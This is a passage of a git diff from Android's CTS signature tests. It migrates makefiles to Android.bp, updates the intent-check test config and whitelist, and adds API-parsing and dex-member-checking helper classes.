+      $(basename $(notdir $(wildcard $(HISTORICAL_SDK_VERSIONS_ROOT)/$(ver)/$(api_level)/api/*.txt)))))),\
+        $(eval $(call copy_api_txt_file,$(lib)-$(ver)-$(api_level).txt,prebuilts/sdk/$(ver)/$(api_level)/api/$(lib).txt)))))
diff --git a/tests/signature/dex-checker/Android.bp b/tests/signature/dex-checker/Android.bp
new file mode 100644
index 0000000..44c8571
--- /dev/null
+++ b/tests/signature/dex-checker/Android.bp
@@ -0,0 +1,25 @@
+// Copyright (C) 2018 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+cc_library_shared {
+    name: "libcts_dexchecker",
+
+    srcs: ["dex-checker.cpp"],
+    cflags: [
+        "-Wall",
+        "-Werror",
+    ],
+    sdk_version: "current",
+    stl: "c++_static",
+}
diff --git a/tests/signature/dex-checker/Android.mk b/tests/signature/dex-checker/Android.mk
deleted file mode 100644
index 8a86a36..0000000
--- a/tests/signature/dex-checker/Android.mk
+++ /dev/null
@@ -1,25 +0,0 @@
-# Copyright (C) 2018 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#      http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-LOCAL_PATH := $(call my-dir)
-
-include $(CLEAR_VARS)
-LOCAL_MODULE := libcts_dexchecker
-LOCAL_MODULE_TAGS := optional
-LOCAL_SRC_FILES := dex-checker.cpp
-LOCAL_CFLAGS := -Wall -Werror
-LOCAL_C_INCLUDES := $(JNI_H_INCLUDE)
-LOCAL_SDK_VERSION := current
-LOCAL_NDK_STL_VARIANT := c++_static
-include $(BUILD_SHARED_LIBRARY)
diff --git a/tests/signature/intent-check/Android.bp b/tests/signature/intent-check/Android.bp
new file mode 100644
index 0000000..299e2b7
--- /dev/null
+++ b/tests/signature/intent-check/Android.bp
@@ -0,0 +1,42 @@
+// Copyright (C) 2017 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+android_test {
+    name: "CtsIntentSignatureTestCases",
+    defaults: ["cts_defaults"],
+
+    srcs: ["src/**/*.java"],
+    java_resources: [
+        ":cts-current-txt",
+        ":cts-system-current-txt",
+        ":cts-system-removed-txt",
+    ],
+
+    // Tag this module as a cts test artifact
+    test_suites: [
+        "cts",
+        "vts",
+        "general-tests",
+    ],
+
+    sdk_version: "test_current",
+
+    static_libs: [
+        "compatibility-device-util-axt",
+        "androidx.test.rules",
+        "cts-signature-common",
+    ],
+
+    host_required: ["cts-dynamic-config"],
+}
diff --git a/tests/signature/intent-check/Android.mk b/tests/signature/intent-check/Android.mk
deleted file mode 100644
index 33c1523..0000000
--- a/tests/signature/intent-check/Android.mk
+++ /dev/null
@@ -1,35 +0,0 @@
-# Copyright (C) 2017 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#      http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-LOCAL_PATH:= $(call my-dir)
-include $(CLEAR_VARS)
-
-# don't include this package in any target
-LOCAL_MODULE_TAGS := optional
-
-LOCAL_SRC_FILES := $(call all-java-files-under, src)
-
-LOCAL_PACKAGE_NAME := CtsIntentSignatureTestCases
-
-# Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
-
-LOCAL_SDK_VERSION := current
-
-LOCAL_STATIC_JAVA_LIBRARIES := \
-    compatibility-device-util-axt \
-    androidx.test.rules \
-    cts-signature-common \
-
-include $(BUILD_CTS_PACKAGE)
diff --git a/tests/signature/intent-check/AndroidTest.xml b/tests/signature/intent-check/AndroidTest.xml
index 134a175..40968ec 100644
--- a/tests/signature/intent-check/AndroidTest.xml
+++ b/tests/signature/intent-check/AndroidTest.xml
@@ -16,6 +16,8 @@
 <configuration description="Config for CTS Intent Signature test cases">
     <option name="test-suite-tag" value="cts" />
     <option name="config-descriptor:metadata" key="component" value="systems" />
+    <option name="config-descriptor:metadata" key="parameter" value="not_instant_app" />
+    <option name="config-descriptor:metadata" key="parameter" value="not_multi_abi" />
     <option name="not-shardable" value="true" />
     <target_preparer class="com.android.compatibility.common.tradefed.targetprep.DynamicConfigPusher">
         <option name="target" value="device" />
@@ -32,21 +34,15 @@
         <option name="run-command" value="mkdir -p /data/local/tmp/signature-test" />
         <option name="teardown-command" value="rm -rf /data/local/tmp/signature-test" />
     </target_preparer>
-    <target_preparer class="com.android.compatibility.common.tradefed.targetprep.FilePusher">
-        <option name="push" value="current.api->/data/local/tmp/signature-test/current.api" />
-    </target_preparer>
-    <target_preparer class="com.android.compatibility.common.tradefed.targetprep.FilePusher">
-        <option name="push" value="system-current.api->/data/local/tmp/signature-test/system-current.api" />
-    </target_preparer>
-    <target_preparer class="com.android.compatibility.common.tradefed.targetprep.FilePusher">
-        <option name="push" value="system-removed.api->/data/local/tmp/signature-test/system-removed.api" />
-    </target_preparer>
     <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
         <option name="cleanup-apks" value="true" />
         <option name="test-file-name" value="CtsIntentSignatureTestCases.apk" />
     </target_preparer>
     <test class="com.android.tradefed.testtype.AndroidJUnitTest" >
         <option name="package" value="android.signature.cts.intent" />
+        <option name="class" value="android.signature.cts.intent.IntentTest" />
         <option name="runtime-hint" value="10s" />
+        <!-- disable isolated storage so tests can access dynamic config stored in /sdcard. -->
+        <option name="isolated-storage" value="false" />
     </test>
 </configuration>
diff --git a/tests/signature/intent-check/DynamicConfig.xml b/tests/signature/intent-check/DynamicConfig.xml
index bfa504e..6c7aace 100644
--- a/tests/signature/intent-check/DynamicConfig.xml
+++ b/tests/signature/intent-check/DynamicConfig.xml
@@ -23,19 +23,6 @@
     Bug: 78574873 android.intent.action.INSTALL_EPHEMERAL_PACKAGE
     Bug: 78574873 android.intent.action.RESOLVE_EPHEMERAL_PACKAGE
     Bug: 78574873 android.intent.action.EPHEMERAL_RESOLVER_SETTINGS
-    Bug: 115799975 android.intent.action.ACTION_AIRPLANE_MODE_CHANGED
-         Will be removed after v17 of CS.apk is released.
-    Bug: 117590943 android.intent.action.View
-         Fixed in GMSCore v14.7.68.
-    Bug: 67109014 android.intent.action.BADGE_COUNT_UPDATE // Samsung is sending
-    //new corrected intent and the old intent in P.
-    //Target date for fix is under disucssion for BADGE_COUNT_UPDATE
-    Bug: 128424060 android.intent.action.TIMELINE_POST_VISIT_BADGE //
-    //Maps(version: 10.11.1~10.13) was sending this intent and
-    //from version 10.14 newer intent 'com.google.android.apps.gmm.TIMELINE_POST_VISIT_BADGE'
-    //is being sent.
-    Bug: 129348724 android.intent.action.DEFINE (public in API 29)
-    Bug: 129348724 android.intent.action.TRANSLATE (public in API 29)
 -->
 <dynamicConfig>
     <entry key ="intent_whitelist">
@@ -47,11 +34,5 @@
       <value>android.intent.action.INSTALL_EPHEMERAL_PACKAGE</value>
       <value>android.intent.action.RESOLVE_EPHEMERAL_PACKAGE</value>
       <value>android.intent.action.EPHEMERAL_RESOLVER_SETTINGS</value>
-      <value>android.intent.action.ACTION_AIRPLANE_MODE_CHANGED</value>
-      <value>android.intent.action.View</value>
-      <value>android.intent.action.BADGE_COUNT_UPDATE</value>
-      <value>android.intent.action.TIMELINE_POST_VISIT_BADGE</value>
-      <value>android.intent.action.DEFINE</value>
-      <value>android.intent.action.TRANSLATE</value>
     </entry>
 </dynamicConfig>
diff --git a/tests/signature/intent-check/src/android/signature/cts/intent/IntentTest.java b/tests/signature/intent-check/src/android/signature/cts/intent/IntentTest.java
index af5c4b9..0195dc4 100644
--- a/tests/signature/intent-check/src/android/signature/cts/intent/IntentTest.java
+++ b/tests/signature/intent-check/src/android/signature/cts/intent/IntentTest.java
@@ -15,14 +15,11 @@
  */
 package android.signature.cts.intent;
 
-import static android.signature.cts.CurrentApi.CURRENT_API_FILE;
-import static android.signature.cts.CurrentApi.SYSTEM_CURRENT_API_FILE;
-import static android.signature.cts.CurrentApi.SYSTEM_REMOVED_API_FILE;
-
 import android.content.pm.ApplicationInfo;
 import android.content.pm.PackageManager;
 import android.signature.cts.ApiDocumentParser;
 import android.signature.cts.JDiffClassDescription.JDiffField;
+import android.signature.cts.VirtualPath;
 import android.util.Log;
 
 import androidx.test.InstrumentationRegistry;
@@ -30,16 +27,15 @@
 
 import com.android.compatibility.common.util.DynamicConfigDeviceSide;
 
+import java.io.IOException;
 import org.junit.Assert;
 import org.junit.Before;
 import org.junit.Test;
 import org.junit.runner.RunWith;
-import org.xmlpull.v1.XmlPullParserException;
 
 import java.io.BufferedReader;
 import java.io.File;
 import java.io.FileInputStream;
-import java.io.IOException;
 import java.io.InputStreamReader;
 import java.util.HashSet;
 import java.util.List;
@@ -51,9 +47,16 @@
  */
 @RunWith(AndroidJUnit4.class)
 public class IntentTest {
+
+    private static final String CURRENT_API_RESOURCE = "current.txt";
+
+    private static final String SYSTEM_CURRENT_API_RESOURCE = "system-current.txt";
+
+    private static final String SYSTEM_REMOVED_API_RESOURCE = "system-removed.txt";
+
     private static final String TAG = IntentTest.class.getSimpleName();
 
-    private static final File SIGNATURE_TEST_PACKGES =
+    private static final File SIGNATURE_TEST_PACKAGES =
             new File("/data/local/tmp/signature-test-packages");
     private static final String ANDROID_INTENT_PREFIX = "android.intent.action";
     private static final String ACTION_LINE_PREFIX = "          Action: ";
@@ -110,26 +113,23 @@
         Assert.assertTrue(errors.toString(), errors.isEmpty());
     }
 
-    private Set<String> lookupPlatformIntents() {
-        try {
-            Set<String> intents = new HashSet<>();
-            intents.addAll(parse(CURRENT_API_FILE));
-            intents.addAll(parse(SYSTEM_CURRENT_API_FILE));
-            intents.addAll(parse(SYSTEM_REMOVED_API_FILE));
-            return intents;
-        } catch (XmlPullParserException | IOException e) {
-            throw new RuntimeException("failed to parse", e);
-        }
+    private Set<String> lookupPlatformIntents() throws IOException {
+        Set<String> intents = new HashSet<>();
+        intents.addAll(parse(CURRENT_API_RESOURCE));
+        intents.addAll(parse(SYSTEM_CURRENT_API_RESOURCE));
+        intents.addAll(parse(SYSTEM_REMOVED_API_RESOURCE));
+        return intents;
     }
 
-    private static Set<String> parse(String apiFileName)
-            throws XmlPullParserException, IOException {
+    private static Set<String> parse(String apiResourceName) throws IOException {
 
         Set<String> androidIntents = new HashSet<>();
 
         ApiDocumentParser apiDocumentParser = new ApiDocumentParser(TAG);
 
-        apiDocumentParser.parseAsStream(new FileInputStream(new File(apiFileName))).forEach(
+        VirtualPath.ResourcePath virtualPath =
+                VirtualPath.get(IntentTest.class.getClassLoader(), apiResourceName);
+        apiDocumentParser.parseAsStream(virtualPath).forEach(
                 classDescription -> {
                     for (JDiffField diffField : classDescription.getFieldList()) {
                         String fieldValue = diffField.getValueString();
@@ -155,7 +155,7 @@
 
     private static Set<String> lookupActiveIntents(String packageName) {
         HashSet<String> activeIntents = new HashSet<>();
-        File dumpsysPackage = new File(SIGNATURE_TEST_PACKGES, packageName + ".txt");
+        File dumpsysPackage = new File(SIGNATURE_TEST_PACKAGES, packageName + ".txt");
         if (!dumpsysPackage.exists() || dumpsysPackage.length() == 0) {
           throw new RuntimeException("Missing package info: " + dumpsysPackage.getAbsolutePath());
         }
diff --git a/tests/signature/lib/android/Android.bp b/tests/signature/lib/android/Android.bp
new file mode 100644
index 0000000..7b0e679
--- /dev/null
+++ b/tests/signature/lib/android/Android.bp
@@ -0,0 +1,30 @@
+// Copyright (C) 2019 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+java_library {
+    name: "cts-signature-common",
+    visibility: [
+        "//cts/tests/signature:__subpackages__",
+    ],
+    installable: false,
+    srcs: [
+        "src/**/*.java",
+        "src/**/*.kt",
+    ],
+    static_libs: [
+        "signature-common-javalib",
+        "metalava",
+    ],
+    sdk_version: "current",
+}
diff --git a/tests/signature/lib/android/src/android/signature/cts/ApiDocumentParser.java b/tests/signature/lib/android/src/android/signature/cts/ApiDocumentParser.java
new file mode 100644
index 0000000..78027d4
--- /dev/null
+++ b/tests/signature/lib/android/src/android/signature/cts/ApiDocumentParser.java
@@ -0,0 +1,50 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package android.signature.cts;
+
+import java.util.stream.Stream;
+
+
+/**
+ * Parses an XML api definition file and constructs and populates an {@link JDiffClassDescription}
+ * for every class.
+ *
+ * <p>The definition file is converted into a {@link Stream} of {@link JDiffClassDescription}.
+ */
+public class ApiDocumentParser {
+
+    private final String tag;
+
+    public ApiDocumentParser(String tag) {
+        this.tag = tag;
+    }
+
+    private ApiParser getApiParser(VirtualPath path) {
+        if (path.toString().endsWith(".txt")) {
+            return new TextApiParser();
+        } else if (path.toString().endsWith(".api")) {
+            return new XmlApiParser(tag);
+        } else {
+            throw new IllegalStateException("Unrecognized file type: " + path);
+        }
+    }
+
+    public Stream<JDiffClassDescription> parseAsStream(VirtualPath path) {
+        ApiParser parser = getApiParser(path);
+
+        return parser.parseAsStream(path);
+    }
+}
diff --git a/tests/signature/lib/android/src/android/signature/cts/ApiParser.java b/tests/signature/lib/android/src/android/signature/cts/ApiParser.java
new file mode 100644
index 0000000..15444cc
--- /dev/null
+++ b/tests/signature/lib/android/src/android/signature/cts/ApiParser.java
@@ -0,0 +1,33 @@
+/*
+ * Copyright (C) 2019 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package android.signature.cts;
+
+import java.util.stream.Stream;
+
+/**
+ * Base class for parsers of API specification.
+ */
+abstract class ApiParser {
+
+    /**
+     * Parse the contents of the path and generate a stream of {@link JDiffClassDescription}
+     * instances.
+     *
+     * @param path the path to the API specification.
+     * @return the stream of {@link JDiffClassDescription} instances.
+     */
+    abstract Stream<JDiffClassDescription> parseAsStream(VirtualPath path);
+}
diff --git a/tests/signature/lib/android/src/android/signature/cts/CurrentApi.java b/tests/signature/lib/android/src/android/signature/cts/CurrentApi.java
new file mode 100644
index 0000000..c5e0d16
--- /dev/null
+++ b/tests/signature/lib/android/src/android/signature/cts/CurrentApi.java
@@ -0,0 +1,27 @@
+/*
+ * Copyright (C) 2016 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package android.signature.cts;
+
+/**
+ * Helper methods and constants used for parsing the current api file.
+ */
+public class CurrentApi {
+
+    private CurrentApi() {}
+
+    public static final String API_FILE_DIRECTORY = "/data/local/tmp/signature-test";
+
+}
diff --git a/tests/signature/lib/android/src/android/signature/cts/DexMemberChecker.java b/tests/signature/lib/android/src/android/signature/cts/DexMemberChecker.java
new file mode 100644
index 0000000..181f9d4
--- /dev/null
+++ b/tests/signature/lib/android/src/android/signature/cts/DexMemberChecker.java
@@ -0,0 +1,246 @@
+/*
+ * Copyright (C) 2018 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.signature.cts;
+
+import android.util.Log;
+import java.lang.reflect.Constructor;
+import java.lang.reflect.Executable;
+import java.lang.reflect.Field;
+import java.lang.reflect.InvocationTargetException;
+import java.lang.reflect.Method;
+import java.util.List;
+
+public class DexMemberChecker {
+    public static final String TAG = "DexMemberChecker";
+
+    public interface Observer {
+        void classAccessible(boolean accessible, DexMember member);
+        void fieldAccessibleViaReflection(boolean accessible, DexField field);
+        void fieldAccessibleViaJni(boolean accessible, DexField field);
+        void methodAccessibleViaReflection(boolean accessible, DexMethod method);
+        void methodAccessibleViaJni(boolean accessible, DexMethod method);
+    }
+
+    public static void init() {
+        System.loadLibrary("cts_dexchecker");
+    }
+
+    private static void call_VMDebug_allowHiddenApiReflectionFrom(Class<?> klass) throws Exception {
+      Method method = null;
+
+      try {
+        Class<?> vmdebug = Class.forName("dalvik.system.VMDebug");
+        method = vmdebug.getDeclaredMethod("allowHiddenApiReflectionFrom", Class.class);
+      } catch (Exception ex) {
+        // Could not find the method. Report the problem as a RuntimeException.
+        throw new RuntimeException(ex);
+      }
+
+      try {
+        method.invoke(null, klass);
+      } catch (InvocationTargetException ex) {
+        // Rethrow the original exception.
+        Throwable cause = ex.getCause();
+        // Please the compiler's 'throws' static analysis.
+        if (cause instanceof Exception) {
+          throw (Exception) cause;
+        } else {
+          throw (Error) cause;
+        }
+      }
+    }
+
+    public static boolean requestExemptionFromHiddenApiChecks() throws Exception {
+      try {
+        call_VMDebug_allowHiddenApiReflectionFrom(DexMemberChecker.class);
+        return true;
+      } catch (SecurityException ex) {
+        return false;
+      }
+    }
+
+    public static void checkSingleMember(DexMember dexMember, DexMemberChecker.Observer observer) {
+        checkSingleMember(dexMember, /* reflection= */ true, /* jni= */ true, observer);
+    }
+
+    public static void checkSingleMember(DexMember dexMember, boolean reflection, boolean jni,
+            DexMemberChecker.Observer observer) {
+        Class<?> klass = findClass(dexMember);
+        if (klass == null) {
+            // Class not found. Therefore its members are not visible.
+            observer.classAccessible(false, dexMember);
+            return;
+        }
+        observer.classAccessible(true, dexMember);
+
+        if (dexMember instanceof DexField) {
+            DexField field = (DexField) dexMember;
+            if (reflection) {
+                observer.fieldAccessibleViaReflection(
+                        hasMatchingField_Reflection(klass, field),
+                        field);
+            }
+            if (jni) {
+                try {
+                    observer.fieldAccessibleViaJni(hasMatchingField_JNI(klass, field), field);
+                } catch (ExceptionInInitializerError | UnsatisfiedLinkError
+                        | NoClassDefFoundError e) {
+                    if ((e instanceof NoClassDefFoundError)
+                            && !(e.getCause() instanceof ExceptionInInitializerError)
+                            && !(e.getCause() instanceof UnsatisfiedLinkError)) {
+                        throw e;
+                    }
+
+                    // Could not initialize the class. Skip JNI test.
+                    Log.w(TAG, "JNI failed for " + dexMember.toString(), e);
+                }
+            }
+        } else if (dexMember instanceof DexMethod) {
+            DexMethod method = (DexMethod) dexMember;
+            if (reflection) {
+                observer.methodAccessibleViaReflection(hasMatchingMethod_Reflection(klass, method),
+                        method);
+            }
+            if (jni) {
+                try {
+                    observer.methodAccessibleViaJni(hasMatchingMethod_JNI(klass, method), method);
+                } catch (ExceptionInInitializerError | UnsatisfiedLinkError
+                        | NoClassDefFoundError e) {
+                    if ((e instanceof NoClassDefFoundError)
+                            && !(e.getCause() instanceof ExceptionInInitializerError)
+                            && !(e.getCause() instanceof UnsatisfiedLinkError)) {
+                        throw e;
+                    }
+
+                    // Could not initialize the class. Skip JNI test.
+                    Log.w(TAG, "JNI failed for " + dexMember.toString(), e);
+                }
+            }
+        } else {
+            throw new IllegalStateException("Unexpected type of dex member");
+        }
+    }
+
+    private static boolean typesMatch(Class<?>[] classes, List<String> typeNames) {
+        if (classes.length != typeNames.size()) {
+            return false;
+        }
+        for (int i = 0; i < classes.length; ++i) {
+            if (!classes[i].getTypeName().equals(typeNames.get(i))) {
+                return false;
+            }
+        }
+        return true;
+    }
+
+    private static Class<?> findClass(DexMember dexMember) {
+        try {
+            // Try to find the class. Do not initialize it - we do not want to run
+            // static initializers.
+            return Class.forName(dexMember.getJavaClassName(), /* initialize */ false,
+                DexMemberChecker.class.getClassLoader());
+        } catch (ClassNotFoundException ex) {
+            return null;
+        }
+    }
+
+    private static boolean hasMatchingField_Reflection(Class<?> klass, DexField dexField) {
+        try {
+            klass.getDeclaredField(dexField.getName());
+            return true;
+        } catch (NoSuchFieldException ex) {
+            return false;
+        }
+    }
+
+    private static boolean hasMatchingField_JNI(Class<?> klass, DexField dexField) {
+        try {
+            Field ifield = getField_JNI(klass, dexField.getName(), dexField.getDexType());
+            if (ifield.getDeclaringClass() == klass) {
+              return true;
+            }
+        } catch (NoSuchFieldError e) {
+            // Not found.
+        }
+
+        try {
+            Field sfield = getStaticField_JNI(klass, dexField.getName(), dexField.getDexType());
+            if (sfield.getDeclaringClass() == klass) {
+              return true;
+            }
+        } catch (NoSuchFieldError e) {
+            // Not found.
+        }
+
+        return false;
+    }
+
+    private static boolean hasMatchingMethod_Reflection(Class<?> klass, DexMethod dexMethod) {
+        List<String> methodParams = dexMethod.getJavaParameterTypes();
+
+        if (dexMethod.isConstructor()) {
+            for (Constructor<?> constructor : klass.getDeclaredConstructors()) {
+                if (typesMatch(constructor.getParameterTypes(), methodParams)) {
+                    return true;
+                }
+            }
+        } else {
+            String methodReturnType = dexMethod.getJavaType();
+            for (Method method : klass.getDeclaredMethods()) {
+                if (method.getName().equals(dexMethod.getName())
+                        && method.getReturnType().getTypeName().equals(methodReturnType)
+                        && typesMatch(method.getParameterTypes(), methodParams)) {
+                    return true;
+                }
+            }
+        }
+        return false;
+    }
+
+    private static boolean hasMatchingMethod_JNI(Class<?> klass, DexMethod dexMethod) {
+        try {
+            Executable imethod = getMethod_JNI(
+                klass, dexMethod.getName(), dexMethod.getDexSignature());
+            if (imethod.getDeclaringClass() == klass) {
+                return true;
+            }
+        } catch (NoSuchMethodError e) {
+            // Not found.
+        }
+
+        if (!dexMethod.isConstructor()) {
+            try {
+                Executable smethod =
+                    getStaticMethod_JNI(klass, dexMethod.getName(), dexMethod.getDexSignature());
+                if (smethod.getDeclaringClass() == klass) {
+                    return true;
+                }
+            } catch (NoSuchMethodError e) {
+                // Not found.
+            }
+        }
+
+        return false;
+    }
+
+    private static native Field getField_JNI(Class<?> klass, String name, String type);
+    private static native Field getStaticField_JNI(Class<?> klass, String name, String type);
+    private static native Executable getMethod_JNI(Class<?> klass, String name, String signature);
+    private static native Executable getStaticMethod_JNI(Class<?> klass, String name,
+            String signature);
+
+}
diff --git a/tests/signature/lib/android/src/android/signature/cts/KtHelper.kt b/tests/signature/lib/android/src/android/signature/cts/KtHelper.kt
new file mode 100644
index 0000000..4d2fade
--- /dev/null
+++ b/tests/signature/lib/android/src/android/signature/cts/KtHelper.kt
@@ -0,0 +1,36 @@
+/*
+ * Copyright (C) 2019 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+@file:JvmName("KtHelper")
+package android.signature.cts
+
+import com.android.tools.metalava.model.TypeItem
+
+/**
+ * Allows Java to call the TypeItem.toTypeString() without having to explicitly specify each named
+ * parameter to its default. This allows additional parameters to be added to the method without
+ * breaking the Java code.
+ */
+fun toDefaultTypeString(item: TypeItem): String {
+    // Normalize the strings to contain , without a following space. This is needed because
+    // different versions of the txt specification used different separators in generic types, some
+    // used "," and some used ", " and metalava does not normalize them. e.g. some files will format
+    // a Map from String to Integer as "java.util.Map<java.lang.String,java.lang.Integer>" and some
+    // will format it as "java.util.Map<java.lang.String, java.lang.Integer>".
+    //
+    // Must match separator used in android.signature.cts.ReflectionHelper.typeToString.
+    return item.toTypeString().replace(", ", ",")
+}
diff --git a/tests/signature/lib/android/src/android/signature/cts/TextApiParser.java b/tests/signature/lib/android/src/android/signature/cts/TextApiParser.java
new file mode 100644
index 0000000..26ac862
--- /dev/null
+++ b/tests/signature/lib/android/src/android/signature/cts/TextApiParser.java
@@ -0,0 +1,191 @@
+/*
+ * Copyright (C) 2019 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package android.signature.cts;
+
+import android.signature.cts.JDiffClassDescription.JDiffConstructor;
+import android.signature.cts.JDiffClassDescription.JDiffField;
+import android.signature.cts.JDiffClassDescription.JDiffMethod;
+import com.android.tools.metalava.doclava1.ApiFile;
+import com.android.tools.metalava.doclava1.ApiParseException;
+import com.android.tools.metalava.doclava1.TextCodebase;
+import com.android.tools.metalava.model.ClassItem;
+import com.android.tools.metalava.model.ConstructorItem;
+import com.android.tools.metalava.model.FieldItem;
+import com.android.tools.metalava.model.Item;
+import com.android.tools.metalava.model.MethodItem;
+import com.android.tools.metalava.model.ModifierList;
+import com.android.tools.metalava.model.PackageItem;
+import com.android.tools.metalava.model.ParameterItem;
+import com.android.tools.metalava.model.TypeItem;
+import java.io.BufferedReader;
+import java.io.IOException;
+import java.io.InputStreamReader;
+import java.lang.reflect.Modifier;
+import java.util.List;
+import java.util.Objects;
+import java.util.stream.Collectors;
+import java.util.stream.Stream;
+import kotlin.streams.jdk8.StreamsKt;
+
+/**
+ * Parser for the text representation of an API specification.
+ */
+public class TextApiParser extends ApiParser {
+
+    @Override
+    public Stream<JDiffClassDescription> parseAsStream(VirtualPath path) {
+        try {
+            String content = new BufferedReader(new InputStreamReader(path.newInputStream()))
+                    .lines()
+                    .parallel()
+                    .collect(Collectors.joining("\n"));
+            TextCodebase codebase = ApiFile.parseApi(path.toString(), content, false);
+            List<PackageItem> packages = codebase.getPackages().getPackages();
+            return packages.stream()
+                    // Map each package to the Sequence of ClassItems that it contains
+                    .map(PackageItem::allClasses)
+                    // Flatten the Sequences of ClassItems into one stream.
+                    .flatMap(StreamsKt::asStream)
+                    // Filter out TextClassItems that are used from but not defined in the source.
+                    .filter(ClassItem::isDefined)
+                    .map(TextApiParser::convertClass);
+        } catch (IOException | ApiParseException e) {
+            throw new RuntimeException("Could not parse " + path, e);
+        }
+    }
+
+    private static JDiffClassDescription convertClass(ClassItem item) {
+        String pkg = item.containingPackage().qualifiedName();
+
+        JDiffClassDescription currentClass = new JDiffClassDescription(pkg, item.fullName());
+
+        int modifiers = getModifiers(item);
+
+        currentClass.setModifier(modifiers);
+        currentClass.setType(item.isInterface() ? JDiffClassDescription.JDiffType.INTERFACE :
+                JDiffClassDescription.JDiffType.CLASS);
+
+        // Map the super class.
+        ClassItem superClass = item.superClass();
+        if (superClass != null) {
+            String extendsClass = superClass.qualifiedName();
+            if (item.isInterface()) {
+                // TextCodebase treats an interface as if it extends java.lang.Object.
+                if (!superClass.isJavaLangObject()) {
+                    currentClass.addImplInterface(extendsClass);
+                }
+            } else {
+                currentClass.setExtendsClass(extendsClass);
+            }
+        }
+
+        // Map the interfaces.
+        item.interfaceTypes().stream()
+                .map(TypeItem::asClass)
+                .filter(Objects::nonNull)
+                .map(ClassItem::qualifiedName)
+                .forEach(currentClass::addImplInterface);
+
+        item.fields().stream().map(TextApiParser::convertField).forEach(currentClass::addField);
+
